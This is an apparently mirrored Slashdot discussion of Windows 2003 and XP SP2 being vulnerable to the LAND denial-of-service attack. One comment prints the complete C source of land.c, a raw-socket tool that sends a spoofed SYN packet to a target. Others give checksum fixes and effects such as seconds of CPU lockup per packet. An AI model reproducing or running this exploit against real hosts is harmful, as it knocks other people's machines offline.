Slashdot Mirror


Windows 2003 and XP SP2 Vulnerable To LAND Attack

An anonymous reader writes "Dejan Levaja, a Serbian security engineer has discovered that nearly 8 years after the attack was first made public, WIndows 2003 and Windows XP SP2 are in fact vulnerable to the historic LAND attack." Granted, you need to have the firewall turned off for this work, but there's a whole lotta machines that don't have it turned on.

534 comments

  1. Only win ? by mirko · · Score: 4, Interesting

    Are only Windows platform vulnerable or will these attacks be successful on other non-ms platforms ?

    --
    Trolling using another account since 2005.
    1. Re:Only win ? by redJag · · Score: 5, Informative

      There is a big list before the provided source code.

    2. Re:Only win ? by lapson · · Score: 1

      What about MacOSX 10.3.8 (current)? It is not mentioned, only OS 8 (obsolete). I am anxious to know!!!

    3. Re:Only win ? by swillden · · Score: 3, Funny

      Since that site appears to be slashdotted, google turned up another one..

      Might as well take down both of them, right?

      --
      Note to ACs: I usually delete AC replies without reading them. If you want to talk to me, log in.
    4. Re:Only win ? by Anonymous Coward · · Score: 5, Funny

      OS X is invulnerable to all attacks, because it's made of magic.

    5. Re:Only win ? by Anonymous Coward · · Score: 0

      " Are only Windows platform vulnerable or will these attacks be successful on other non-ms platforms ?"

      I believe that the word which you are looking for is "compatible"

    6. Re:Only win ? by AKnightCowboy · · Score: 5, Funny
      OS X is invulnerable to all attacks, because it's made of magic.

      *snort*. You owe me a new keyboard.

      /Mac user

    7. Re:Only win ? by micolous · · Score: 1

      One would assume you have access to a OSX box in order to be concerned about it. Why don't you compile the code and test it yourself, then report back.

      --
      SSdtIGFzIGJvcmVkIGFzIHlvdSBhcmUK
    8. Re:Only win ? by ip_fired · · Score: 3, Interesting

      I compiled land.c on linux and and then had it test my powerbook (OS X.3.8) on an open port. Nothing happened, thus it's not exploitable.

      If anyone is interested, I had to modify the program to get it to work in linux (the structures have changed since this was originally written).

      Here is a patch so you can test other OSes.

      land.diff

      Curse you slashcode! It won't let me inline the patch. Oh well. Download it if you want it.

      --
      Don't count your messages before they ACK.
    9. Re:Only win ? by odano · · Score: 1

      Sounds a lot like the missle defense shield.

    10. Re:Only win ? by Anonymous Coward · · Score: 0

      Mac RAM is made of moondust and diamonds.

    11. Re:Only win ? by dandu · · Score: 1

      that source code is not so portable, i belive it only works with glibc pre 2.x or whatever version was the latest one 8 years ago (LOL), so here is the same pice of code ported to the glibc :

      //ported by dandu
      #include <stdio.h>
      #include <netdb.h>
      #include <arpa/inet.h>
      #include <netinet/in.h>
      #include <sys/types.h>
      #include <sys/socket.h>
      #include <netinet/ip.h>
      #include <netinet/tcp.h>
      #include <netinet/in.h>
      #define TH_SYN 0x02
      #define IP_TCP IPPROTO_TCP
      struct pseudohdr
      {
      struct in_addr saddr;
      struct in_addr daddr;
      u_char zero;
      u_char protocol;
      u_short length;
      struct tcphdr tcpheader;
      };
      u_short checksum(u_short * data,u_short length)
      {
      register long value;
      u_short i;

      for(i=0;i<(length>>1);i++)
      value+=data[i];

      if((length&1)==1)
      value+=(data[i]<<8);

      value=(value&65535)+(value>>16);

      return(~value);
      }
      int main(int argc,char * * argv)
      {
      struct sockaddr_in sin;
      struct hostent * hoste;
      int sock;
      char buffer[40];
      struct iphdr * ipheader=(struct iphdr *) buffer;
      struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
      struct pseudohdr pseudoheader;
      fprintf(stderr,"land.c by m3lt, FLC\n");
      if(argc<3)
      {
      fprintf(stderr,"usage: %s IP port\n",argv[0]);
      return(-1);
      }
      bzero(&sin,sizeof(struct sockaddr_in));
      sin.sin_family=AF_INET;
      if((hoste=gethostbyname(argv[1]))!=NULL)
      bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length) ;
      else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
      {
      fprintf(stderr,"unknown host %s\n",argv[1]);
      return(-1);
      }
      if((sin.sin_port=htons(atoi(argv[2])))==0)
      {
      fprintf(stderr,"unknown port %s\n",argv[2]);
      return(-1);
      }
      if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
      {
      fprintf(stderr,"couldn't allocate raw socket\n");
      return(-1);
      }
      bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
      ipheader->version=4;
      ipheader->ihl=sizeof(struct iphdr)/4;
      ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
      ipheader->id=htons(0xF1C);
      ipheader->ttl=255;
      ipheader->protocol=IP_TCP;
      ipheader->saddr=sin.sin_addr.s_addr;
      ipheader->daddr=sin.sin_addr.s_addr;
      tcpheader->source=sin.sin_port;
      tcpheader->dest=sin.sin_port;
      tcpheader->seq=htonl(0xF1C);
      tcpheader->syn=1;
      tcpheader->doff=sizeof(struct tcphdr)/4;
      tcpheader->window=htons(2048);
      bzero(&pseudoheader,12+sizeof(struct tcphdr));
      pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
      pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
      pseudoheader.protocol=6;
      pseudoheader.length=htons(sizeof(struct tcphdr));
      bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
      tcpheader->check=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
      if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
      {
      fprintf(stderr,"couldn't send packet\n");
      return(-1);
      }
      fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);
      close(sock);
      return(0);
      }

    12. Re:Only win ? by Anonymous+Brave+Guy · · Score: 1

      No, but you do need the User of Supreme Incompetence +5 to damage it.

      --
      If you disagree, post your argument. (-1, Overrated) isn't your personal censorship tool for views you don't like.
    13. Re:Only win ? by antdude · · Score: 1

      $ patch land.c land.diff
      patching file land.c
      Hunk #1 succeeded at 76 (offset 68 lines).
      Hunk #3 succeeded at 168 (offset 68 lines).
      $ cc land.c -o land
      land.c:53:69: missing terminating ' character

      Hmmm, it's not compiling. Am I doing this wrong? This is on an old Red Hat Linux 7.x box.

      --
      Ant(Dude) @ Quality Foraged Links (AQFL.net) & The Ant Farm (antfarm.ma.cx / antfarm.home.dhs.org).
    14. Re:Only win ? by ip_fired · · Score: 4, Informative

      I found some interesting things while playing around with this.

      1st: The checksum code is always off by 3 in that file. Subtract 3 from the value before you take the complement and it'll be right. (this is a kludge, I haven't taken the time to actually figure out why it's wrong yet)

      2nd: It causes 100% CPU usage on a WinXP SP2 box for about 3 seconds for each packet sent!!!

      3rd: It can be blocked (and probably IS blocked) by most routers since the source and destination addresses are the same.

      I got permission to send one of these packets to my friends Win2003 box and as far as we can tell, it didn't do anything. I don't know if the packet is getting through though.

      4th: Also, I retested the Mac, and again, the malformed packet did nothing.

      --
      Don't count your messages before they ACK.
    15. Re:Only win ? by ip_fired · · Score: 1

      Make sure you remove the message that is at the top of the file before you try to compile it :). It's not commented out.

      I uploaded the entire file, so here it is:

      land.c It has the checksum kludge in it as well.

      DO NOT use this on a computer that you do not own or do not have permission to test on.

      It is very serious though, and I am totally shocked that MS hasn't fixed this yet (or perhaps they did fix this, but then somehow reverted to old code).

      --
      Don't count your messages before they ACK.
    16. Re:Only win ? by antdude · · Score: 1

      Danke.

      --
      Ant(Dude) @ Quality Foraged Links (AQFL.net) & The Ant Farm (antfarm.ma.cx / antfarm.home.dhs.org).
    17. Re:Only win ? by Zenmonkeycat · · Score: 1

      Only magic? Not more magic?

      --

      *****
      Dear Mary,
      I yearn for you tragically,
      A.T. Tappman, Chaplain, U.S. Army.

    18. Re:Only win ? by DCMonkey · · Score: 1

      BMD = RDF

      --
      DCMonkey
    19. Re:Only win ? by plague3106 · · Score: 1

      Mac RAM is made of moondust and diamonds.

      That would explain the price.

    20. Re:Only win ? by fshalor · · Score: 1

      I'm not shocked they haven't fixed it.

      Call it the onset of apathy.

      Can we seriously expect anything else from M$ yet?

      This is like a 10 year old problem though. God what a mess.

      --
      -=fshalor ::this post not spellchecked. move along::
    21. Re:Only win ? by Anonymous Coward · · Score: 0

      It's called "OSX 10.3.8"

      Get it right.

    22. Re:Only win ? by Anonymous Coward · · Score: 0

      I support a faith-based missle defense system!

    23. Re:Only win ? by ip_fired · · Score: 1

      Right, so the OS is called:
      OS Ten Ten point Three point Eight?

      You're not supposed to pronounce the 'X', because it is the roman numeral for 10. If you ever listen to Steve Jobs, you will hear him refer to it as OS 10, not OS X.

      --
      Don't count your messages before they ACK.
    24. Re:Only win ? by Anonymous Coward · · Score: 0

      Thats why the boxes are different colors. Apple magic.

    25. Re:Only win ? by Kenshin · · Score: 1

      He's right. It IS "O-S Ten, Ten-point-Three-point-Eight". "OSX" is the brand, and the version number is seperate.

      There will probably be OSX v11.0.

      Naming isn't supposed to make sense nowadays.

      Java 5 is actually Java 1.5.x
      Windows 2000 is actually NT 5.0

      --

      Does it make you happy you're so strange?

    26. Re:Only win ? by Anonymous Coward · · Score: 0

      Why? It's magical. Just wait and it will clean itself!

    27. Re:Only win ? by stor · · Score: 1

      ...and blessed with Holy Steve Jobs Pee

      Cheers
      Stor

      --
      "Yeah well there's a lot of stuff that should be, but isn't"
    28. Re:Only win ? by dolphinling · · Score: 1

      If you're going to link to the jargon file, link to actual jargon file, not some page full of ads.

      --
      There are 11 types of people in the world: those who can count in binary, and those who can't.
    29. Re:Only win ? by Anonymous Coward · · Score: 0

      land.c (even when patched w/ land.diff) does indeed fail to correctly calculate the TCP header checksums, which causes the exploit not to work. However, after I fixed that, it worked like a charm...

      about 5-10 seconds of DoS per packet [wxp pro sp2]

    30. Re:Only win ? by Skrybe · · Score: 1

      Any system is vunerable to a LAND attack. I mean when they roll up with a few M1 Abrams and several hundred troops pretty much any system is screwed.

      Oh wait that's not the kind of LAND attack you meant... nevermind...

  2. Little known fact by beatdown · · Score: 5, Funny

    It is also subject to sea and air attacks.

    1. Re:Little known fact by Spodlink05 · · Score: 0

      True, the US Navy use Windows don't they?

    2. Re:Little known fact by ndogg · · Score: 2, Funny

      But the most powerful weapon of all, which sometimes even classifies as a WMD? The /. attack!!!!!

      --
      // file: mice.h
      #include "frickin_lasers.h"
    3. Re:Little known fact by spektr · · Score: 4, Funny

      True, the US Navy use Windows don't they?

      They had put it on an aircraft carrier and navigated it away from shore immediately, when they heard about the LAND exploit. To their delight, it stayed pretty stable in the middle of the sea.

    4. Re:Little known fact by Anonymous Coward · · Score: 5, Funny

      The Navy usually makes sure its ports are secure.

    5. Re:Little known fact by Anonymous Coward · · Score: 5, Funny

      Yes, but they call them "port holes".

    6. Re:Little known fact by jd · · Score: 4, Interesting
      This is probably going to crack you up. Yes, they do. For secure communications, application serving, and (for the "intelligent" ships) navigation systems.


      There are people in the US Navy who are actively interested in Linux, but they are heavily outnumbered by fans of Windows and SCO Unix.

      --
      It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
    7. Re:Little known fact by darkpixel2k · · Score: 5, Funny

      Well...usually.

      There was this one time...in Hawaii...

      --
      There's no place like ::1 (I've completed my transition to IPv6)
    8. Re:Little known fact by harrkev · · Score: 5, Funny

      According to the Village People, the Navy usually has some back doors.

      --
      "-1 Troll" is the apparently the same as "-1 I disagree with you."
    9. Re:Little known fact by Anonymous Coward · · Score: 1, Insightful

      ooh... tactless, but funny. it's the kind of funny that makes us laugh at helen keller and dead baby jokes.

    10. Re:Little known fact by galdur · · Score: 2, Funny

      You mean "dead in the water"?

    11. Re:Little known fact by smittyoneeach · · Score: 1

      Yeah, but it was really small, a micro-soft kill, if you will...

      --
      Get thee glass eyes, and, like a scurvy politician, seem to see things thou dost not.--King Lear
    12. Re:Little known fact by Profane+MuthaFucka · · Score: 2, Funny

      Oh my god that was a great movie.

      --
      Fascism trolls keeping me up every night. When I starts a preachin', he HITS ME WITH HIS REICH!
    13. Re:Little known fact by mofochickamo · · Score: 1
      As my second cousin twice removed post says:

      Yes, but they call them "port holes".

      --
      Honk if you're horny.
    14. Re:Little known fact by twiddlingbits · · Score: 1

      Here is a story about Windows and the Navy, Its a bit dated perhaps but it illustrates the issue of using Windows on ships quite well: The Navy's Smart Ship technology is being considered a success, because it has resulted in reductions in manpower, workloads, maintenance and costs for sailors aboard the Aegis missile cruiser USS Yorktown. However, in September 1997, the Yorktown suffered a systems failure during maneuvers off the coast of Cape Charles, VA., apparently as a result of the failure to prevent a divide by zero in a Windows NT application. The zero seems to have been an erroneous data item that was entered manually. Atlantic Fleet officials said the ship was dead in the water for about 2 hours and 45 minutes. A previous loss of propulsion occurred on 2 May 1997, also due to software. Other system collapses were also indicated. (One quote suggested the ship had to be towed, but another refuted that.) [Source: Gregory Slabodkin, Software glitches leave Navy Smart Ship dead in the water, Government Computer News, 13 Jul 1998, PGN Stark Abstracting] Discussion in RISKS included further comments about Windows memory management, the use of NT, smart-ship technology, and COTS in battle-critical applications (R 19 88-92); doubts about official reports (R 19 91) and confusions therein (R 19 94), as well as speculations on the hardware behavior (R 19 92-93), and still more discussion (R 19 94). This case holds many lessons for the future, in the true spirit of RISKS, including a reminder from the 19th Century British Navy (R 19 89). You can find this at http://www.csl.sri.com/users/neumann/risks-new.htm l

    15. Re:Little known fact by Anonymous Coward · · Score: 0

      Actually, at least according to John Kerry's, America's ports are completely insecure. Their AirPorts are secure though; is this because they're made by Apple?

    16. Re:Little known fact by Ben+Hutchings · · Score: 1

      I suppose your favourite operating system is smart enough to handle divide-by-zero errors in applications by working out what the programmer really meant and fixing the bug. Regrettably Windows NT was written by mere humans who aren't capable of this.

    17. Re:Little known fact by twiddlingbits · · Score: 1

      Yes, it can. You trap the interrupt that occurs when you get a Divide by Zero and you can handle it fine. The PROBLEM is that you SHOULD ALWAYS test what you are dividing with to be sure it is NOT zero. An embedded systems OS should handle things like this, and many do. I used to build them. It might be OK to have a ship out of commission for 2.5 hours but not a plane. If you want to track the issue deeper, find out who was the dummy who specified Windows in a Mission Critical system and why no one objected.

    18. Re:Little known fact by Anonymous Coward · · Score: 0
      The PROBLEM is that you SHOULD ALWAYS test what you are dividing with to be sure it is NOT zero.

      That depends:
      1)
      Select Case a
      Case 1
      b = 3
      Case 2
      b = 18
      Case Else
      b = 1
      End Select
      c = d / b ' no problem

      2)
      For i = 1 to 10
      sum = sum + a(i-1) / i ' no problem
      Next i

      3)
      a = GetNumFromUser()
      c = b / a ' BIG PROBLEM!!!
      It's case number 3 that crashed the destroyer.
    19. Re:Little known fact by Anonymous Coward · · Score: 0

      How come I'm never heard of 'starboard holes'?

      Or is it 'starboard port holes'? Sounds like an oxymoron to me :|

    20. Re:Little known fact by Ben+Hutchings · · Score: 1

      Explain to me how the OS can handle it, in the general case. It seems to me that the best it can do is to restart the application. But if the application isn't designed to recover quickly when restarted then this doesn't help.

    21. Re:Little known fact by drsmithy · · Score: 1
      Yes, it can.

      Really ? Which OS are you using that can stop *applications* crashing when they try and divide by zero ?

    22. Re:Little known fact by drsmithy · · Score: 1
      There are people in the US Navy who are actively interested in Linux, but they are heavily outnumbered by fans of Windows and SCO Unix.

      The mind boggles how anyone could be a fan of SCO Unix (and I mean from a perspective independent of their legal shenanigans).

    23. Re:Little known fact by Anonymous Coward · · Score: 0

      Ever hear of a manual override? You shouldn't lose everything when that happens because replacing all those embedded systems with a single NT based PC is dumb.

    24. Re:Little known fact by Anonymous Coward · · Score: 0

      er. In my apps, they never crash. They just generate weird output, but keep on chugging. These are opengl programs, and I screwed up some matrix math once. Got weird pictures on the screen, but no crashing. Why should it crash???? Your not reading memory your not supposed to or anything nasty like that...

      Stu

    25. Re:Little known fact by Anonymous Coward · · Score: 0

      Yeah? but OpenGL internally floating point, not integers. With floats when you divide by zero, you get infinite, when you do this with ints, guess what happens ;)

    26. Re:Little known fact by twiddlingbits · · Score: 1

      A Divide by Zero error on some processors raises an Interrupt. You catch that interrupt and handle it with your OS Interrupt Handler. You may or may not resume the application based on the risk you think there is to the system. Real-time embedded systems have to be MUCH more fault tolerant than your desktop OS. There are some good commercial embedded OSes out there, VxWorks comes to mind, but the one I was referring to was custom built on a special processor. The fact is the scenario CAN be handled if things are designed right. The incident in the article I posted showed a DBZ crashed the application AND the OS. That's bad.

    27. Re:Little known fact by alexandreracine · · Score: 1

      I heard of "black holes" once...

      --
      No sig for now.
  3. wow by Quasar1999 · · Score: 5, Funny

    In other news, my computer is also prone to failing if I microwave it... hit it with a hammer, or attempt to install water cooling while I'm drunk...

    --

    ---
    Programming is like sex... Make one mistake and support it the rest of your life.
    1. Re:wow by Freexe · · Score: 1
      Installing water cooling while drunk isn't that hard if you know what you are doing.

      Things only really get messy when your drunk friends think its a good idea to try and drink the De-Ionised water running round the closed loop system

      Twice!!

      --
      "In a time of universal deceit - telling the truth is a revolutionary act." - George Orwell
    2. Re:wow by Anonymous Coward · · Score: 5, Funny

      Problem:
      The other thing Microsoft won't tell you is that if paramilitants do a home invasion, they can take your machine right out of the house and have access to all data and the entire network, for that matter.

      Solution: Install complex home alarm system, man traps, CCTV, and acquire armed guards, string up razor wire and dig tunnel system deep in the jungle.

      Ethic:
      I told microsoft that their computers were totally unprotected from physical theft by armed gangs of paramilitants and received no response. I am now sharing this with the community.

    3. Re:wow by antiMStroll · · Score: 2, Insightful

      Turning Windows firewall off poses the same risk as a strike with a hammer or microwaving? That's one fragile OS!

    4. Re:wow by Tassach · · Score: 4, Insightful
      There is NO legitimate reason whatsoever for a modern, patched operating system to be vulnerable to a simple, 8-year-old DOS attack. What's next, reintroduction of the Ping Of Death vulnerability? This is sloppy quality control, pure and simple.

      This incident is just another example which demonstrates the importance (or more accurately, the lack thereof) that Microsoft's corporate culture places on security. Hasn't anyone at Microsoft ever heard about regression testing?

      Microsoft has consistantly demonstrated that, regardless of what their press releases say, security is NOT one of their priorities. People need to start waking up and realizing this before they entrust their critical infrastructure to Microsoft products.

      --
      Why is it that the proponents of "one nation under God" are so eager to get rid of "liberty and justice for all"?
    5. Re:wow by AviLazar · · Score: 1

      You haven't done this already? And you call yourself a geek. Oh, and you forgot the tremor-sensor and laser motion device. Not to mention the ED-209

      --

      I mod down so you can mod up. Your welcome.
    6. Re:wow by log0n · · Score: 3, Funny

      Personally, I'm hoping WinNuke make a comeback.

    7. Re:wow by jd · · Score: 1
      Purely for the entertainment value, I suggest reading past Slashdot stories on computers that HAVE survived microwaving, being hit by hammers, dropped from great heights, ...


      I understand your point, and yes, nothing can be made foolproof, for fools are too ingenius, and nothing can be secure against everything.


      I believe the point, though, is that Microsoft has purely invested in simple firewall technology. What it has not done is put much effort into pro-active NIDS, and services do have a mysterious tendancy to turn themselves on globally for no obvious reason.


      Those problems are easily fixable, but it requires someone to fix them. They don't fix themselves.


      So, yes, ultimately you are 100% correct, however Microsoft is negligent and could do a lot better.

      --
      It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
    8. Re:wow by Anonymous Coward · · Score: 0

      Way to setup the no-win situation. When Microsoft takes a few weeks to release a patch for this, will you also complain about how long it took to patch the OS and why Open Source solutions are so much better because they get the fixes out so much faster? I'm curious how you have these insights into Microsoft's corporate culture. Did you receive some response to Bill Gates' "Trustworthy Computing" mail that was just sent to Microsoft employees saying something like "ROFLMAO...I think they bought it!"?

    9. Re:wow by Chris+Kamel · · Score: 1

      r attempt to install water cooling while I'm drunk...
      Actually I'd take back the "while I'm drunk" part

      --
      The following statement is true
      The preceding statement is false
    10. Re:wow by inode_buddha · · Score: 1
      "You might forget that MS is not a security company."

      Neither is Apple, FreeBSD, Debian, etc... the list goes on.

      --
      C|N>K
    11. Re:wow by Maestro4k · · Score: 4, Interesting
      but the reality is this vulnerability happened after SP2 was released.
      • Actually no, this vulnerability showed up 8 years ago and was patched in Windows 98 I believe. So this isn't something new that Microsoft is just now learning about and need to fix, it's something quite old. Since the vulnerability came out ME, 2000 and XP all were released.
      Perhaps they setup a firewall to allow them to fix things underneath without totally destroying everyone's networks?
      • If you're trying to say that MS feels that having the firewall on by default in XP SP2 is a shortcut for fixing problems, well, I certainly HOPE they're not taking that attitude. Yes the firewall needs to be on by default for better security, but they should have tested the OS against
      • known vulnerabilities with the firewall off to be certain they wouldn't work. Failure to do so shows some serious problems in MS land.
      When you have as large of an installbase as MS does you can't shift things right away or you will lose customers, you have to make changes slowly and incrimentally so that users don't get confused.
      • You seem royally confused about what this actually is. Land is a DOS attack that is caused by sending a SYN packet to an open port on a machine with the source and destination addresses the same. This isn't something that is _needed_ by any app, it's a TCP/IP oddity, a packet that would normally never occur. Back 8 years ago it was understandable that MS and others didn't anticipate this attack, but after 8 years there's not any excuse.
      • Simply this is not something users are going to notice the lack of. They'll certainly notice it's there if their machines gets hit with a Land attack though. It is NOT a case of MS trying to make changes slowly to not confuse customers, it's a big blunder.

      MS has been working a lot on connectivity over the last year or so with some protocol enhancements and increased IPv6 support. I imagine things are going to get worse before they get better, but don't kid yourself, they are working on fixing it.
      • Frankly if their "working on fixing it" involves re-introducing exploits first identified and fixed 8 YEARS ago then I'm certainly not going to hold my breath that they'll ever fix anything.
      • Ultimately though your defense of MS is unwarranted. They publically declared a while back (1-2 years now I think) that security was going to be a primary focus for them. This was pre-SP2 days. That they re-introduced a vulnerability from eight years ago speaks great volumes about that focus. If MS wants to claim they're security-focused now they deserve the lumps they get for foolish mistakes like this.

    12. Re:wow by Anonymous Coward · · Score: 0
      his is sloppy quality control, pure and simple

      Not at all, you don't know anything. I can tell you as an insider that it's on our checklist but marked with LOW_PRI. For every major release QC goes through the checklist. Every item is checked and this is way M$ is so slow, this list is HUGE!

    13. Re:wow by runderwo · · Score: 1, Informative
      Open Source solutions are so much better because they get the fixes out so much faster?
      No. OSS solutions are better because they get the fixes out faster to people who are willing to do their own QA. The key here is that the user has a choice whether to wait for their vendor to release a QA'd fix, or to choose to install the fix themselves because they know no regression will affect them as much as the window of vulnerability would. You don't have that choice as you wait for a proprietary vendor to lumber along on its own schedule to get the patch out the door.
    14. Re:wow by ILikeRed · · Score: 1
      Speaking of shortsighted.... I'm betting right now microsoft is in the middle of damage control and PR spin telling people how little this exploit means and how much the care about security... meanwhile a bunch of blackhats are busy (with a renewed zeal) regression testing for all the old vulnerabilities on microsoft's newer versions of their os and tools.

      I will believe microsoft is concerned about security when they expose their own OS and software for public services like web, ftp, and smtp. I will even give them credit for honestly trying when they only hide these services behind firewalls running their own OS.

      --
      I have come to a conclusion that one useless man is a shame, two is a law firm, and three or more is a congress -J Adams
    15. Re:wow by mcc · · Score: 1

      You might forget that MS is not a security company

      So, like... if your car's radio has a tendency to catch on fire, do you defend this by saying "well ford is not a stereo company"?

      Security is part of an operating system. It is a basic, simple feature in the sense that with most other products "not catching on fire" could be considered a feature. If Microsoft makes an operating system but can't make it secure, at least the way many people would look at it, their product doesn't work.

      If you consider this kind of performance acceptable in products you buy, then of course, that is fine, go ahead and keep buying it. However in the meantime there are two problems for the rest of us.

      1. Other companies do not seem to have these sorts of problems putting out a secure product on anywhere near the same consistent basis.

      2. Yet elsewhere-- from people other than you, in discussions other than this one-- on a frequent basis Microsoft software is defended as being just as good from a security perspective as anything else. Often Microsoft's poor security track record is handwaved away as something in the past and forgotten, or it is somehow claimed that security in Microsoft products is somehow a factor not of the software, but of that somehow or other more people are "paying attention" to Microsoft software. Yet despite this, new and very surprising (in the sense that they seem they could have been very easy to prevent, or appear in places prevention should have been fundamental) vulnerabilities keep showing up in new MS products on a consistent basis.

      Well, one of the two. Either Microsoft shouldn't expected to put out a secure product because Security is Hard!, or Microsoft makes grown-up operating system and business software that is worthy of being used as the platform for important things. But not both. In the real world, "security companies" or no, operating system vendors do consider security to be part of their job. If Microsoft doesn't, one wonders why they continue to defend their products as just as appropriate for professional use as the alternatives.

    16. Re:wow by jschottm · · Score: 2, Interesting

      You might forget that MS is not a security company.

      Every company that does computer work has to be a security company now. Many companies are completely dependent on computers and most of their crown jewels are stored on them. Many home users have sensitive banking information stored on their computers. Building broken software that allows system disruption or data to be stolen will loose customers. Part of my job is to migrate systems from Windows to Linux, specifically because of security and stability issues.

      When you have as large of an installbase as MS does you can't shift things right away or you will lose customers, you have to make changes slowly and incrimentally so that users don't get confused.

      That has no bearing whatsoever on this issue. Inserting

      if (fromIP == toIP && fromPort == toPort && TCPFlag == 'S') droppacket(); //Or whatever

      does not break any functionality because it's a packet that should not exist. It's something they fixed in older versions but got lazy and left out of current versions.

    17. Re:wow by schon · · Score: 1

      You might forget that MS is not a security company.

      Nobody said they were - but why do you think that just because they're not a security company that they should be exempt from good coding practices?

      Security is one of many priorities they have

      Yes, and they're failing at it - tremendously. This is a *known* attack, from 8 years ago. It's a beginner's mistake.

      The rest of your post is just irrelevant nonsense.

    18. Re:wow by Anonymous Coward · · Score: 0

      Actually, Microsoft does use Exchange Server for their Internet facing SMTP services. I know because Microsoft keeps trying to pressure us into swapping out our Sendmail relays for Exchange. They also have a team of engineers larger than our entire IT staff watching just those servers to ensure they stay up. Our rep couldn't understand why we didn't want to switch.

    19. Re:wow by schon · · Score: 1

      As for reintroducing an old problem, have you ever tried to fix a leaky pipe?

      Yes, I have. What does this have to do with the conversation at all?

      But to continue your analogy:

      When fixing a leaky pipe, do you attempt to fix one part of it, then turn the water back on and then leave it without checking that the pipe doesn't leak? Of course not.

      seems clear you don't grasp the size of the problem

      I'd actually say the same thing about you.

    20. Re:wow by Vancorps · · Score: 1
      My statement that Microsoft is not a security company does not mean that they care or don't care about security. Its that they are not experts in the field. They are new to the business and people seem to keep forgetting that they created OS's in the past designed to make work, then they made it pretty, and now they are in the process of trying to make it work right. That's a big job fixing all the past mistakes while trying to keep developing new products.

      Your statement about security is correct, its hard! As such MS is going to make mistakes, its going to make a lot of them, people that use their products should know this before buying anything.

      There is a reason large corporation use one firewall for their perimeter and then another right behind it from a different company. Everyone will make mistakes so you as the consumer take steps to mitigate those risks. Right or not, its the reality.
    21. Re:wow by Vancorps · · Score: 0
      So I take it you never got any defective seals? You can fix the pipe, check it, it won't leak. Then two weeks later it will start back up. Even worse, maybe the leak was caused because people were shoving large objects down there. Thus, fixing the one problem did not stop it from occuring again. Hell, maybe cold weather froze the pipes causing them to crack because someone poured boiling water down them.

      I'm sorry you don't see how this relates to patching software as it is essentially the same task to the end user.

    22. Re:wow by Anonymous Coward · · Score: 0

      But I run Linux so my machine is protected against this. I love Linux :)

    23. Re:wow by Vancorps · · Score: 1
      The last three replies all say the same thing so I will reply here.

      I did not say that Microsoft was exempt from quality control on their coding. I said they are not a security company. You shouldn't expect the same level of competancy this soon. They will screw up from time to time, happened as a good when I was learning about it too. Still happens to this day. Expecting perfection from a 2 year old will not lead to the product you are looking for. I say a two year old because that is how long ago MS said it was going to make security one of its primary concerns. I genuinely believe they are trying but there are a ton of variables they face while trying to hold on to their existing customers.

      I do find it most humorous that so many people have made this assumption though. How many years did it take for Ford to bring the Mustang back from the stinker they put it in?

      Let's see you make a change to a networking object among 300 million lines of combined code and not miss a step.

    24. Re:wow by Vancorps · · Score: 1
      You seem to be focused on this one specific issue rather than the issue as a whole. There are more than 300 million lines of combined code with extremely complex dependencies. You strip out the networking layer to say, insert new firewall and you neglect to put back an old patch because you've inserted said firewall negating the need to patch it in the code. Windows is more than an OS, it provides all kinds of services right or wrong that is what it does.

      All that said, I can't say how MS fixed the problem initially, although I suspect it was more than just a packet rule. I can't say for certain that reinserting the fix wouldn't cause a problem for another part of Windows and I don't really think you can either. The problem seems simple, but there are always variables to complicate everything.

    25. Re:wow by Fulcrum+of+Evil · · Score: 2, Interesting

      Even worse, maybe the leak was caused because people were shoving large objects down there.

      In this case, the large object was a land attack, so fixing the pipe and noting that shoving a large object through the pipe did not break it would be expected. However, windows is not a leaky pipe, and it doesn't suffer from cold weather or any other sort of physical degradation. Put simply, this is a known vulnerability that should have been tested as part of QA. It wasn't.

      --
      "We returned the General to El Salvador, or maybe Guatemala, it's difficult to tell from 10,000 feet"
    26. Re:wow by SillyNickName4me · · Score: 2, Interesting

      That pipe you describe does sound alot like Windows, thats for sure, but honestly, you don't seem to have a clue what this specific bug is and how utterly simple it is to check for and prevent. That Windows is a terrible nightmare to maintain is really no excuse for this.

    27. Re:wow by Anonymous Coward · · Score: 0

      I miss the days of winnuke. Very useful with IRC kiddies.

    28. Re:wow by Fulcrum+of+Evil · · Score: 1

      I did not say that Microsoft was exempt from quality control on their coding. I said they are not a security company.

      This is a QA issue, not a security issue.

      Let's see you make a change to a networking object among 300 million lines of combined code and not miss a step.

      Automatic regression testing would have caught this. Let's see you deliberately ignore a failed test, then claim ignorance.

      --
      "We returned the General to El Salvador, or maybe Guatemala, it's difficult to tell from 10,000 feet"
    29. Re:wow by schon · · Score: 1

      You can fix the pipe, check it, it won't leak. Then two weeks later it will start back up

      Yes, because code actually *breaks* over time, right? You can test it for something, and then some time down the road, the exact same code will execute differently.

      I'm sorry you don't see how this relates to patching software as it is essentially the same task to the end user.

      I don't see it because it's not the same thing. You obviously don't understand software (in general) or this specific exploit (in specific) *AT ALL*, or you wouldn't be making these asinine comments.

    30. Re:wow by schon · · Score: 1

      I did not say that Microsoft was exempt from quality control on their coding.

      I never said you did.

      I said they are not a security company.

      Which I replied to, by stating that whether they are a security company or not is *IRRELEVANT* to this discussion.

      You shouldn't expect the same level of competancy this soon.

      Why not? This is (again) a *KNOWN* vulnerability from 8 years ago. They knew about it because they fixed in 8 years ago. It was fixed in all previous versions. And now it's not.

      Are you seriously attempting to claim that we should not expect the same level of competancy that MS itself had 8 years ago?

      If so, why the hell not?

      Expecting perfection from a 2 year old will not lead to the product you are looking for.

      Well, MS was incorporated almost 30 years ago - are you implying that they employ coders that are two years old? If so, it would certainly explain their code quality.

    31. Re:wow by Anonymous Coward · · Score: 0

      But it is also my understanding that there is a series of Cisco proxying firewalls in between - those servers are not listening directly....

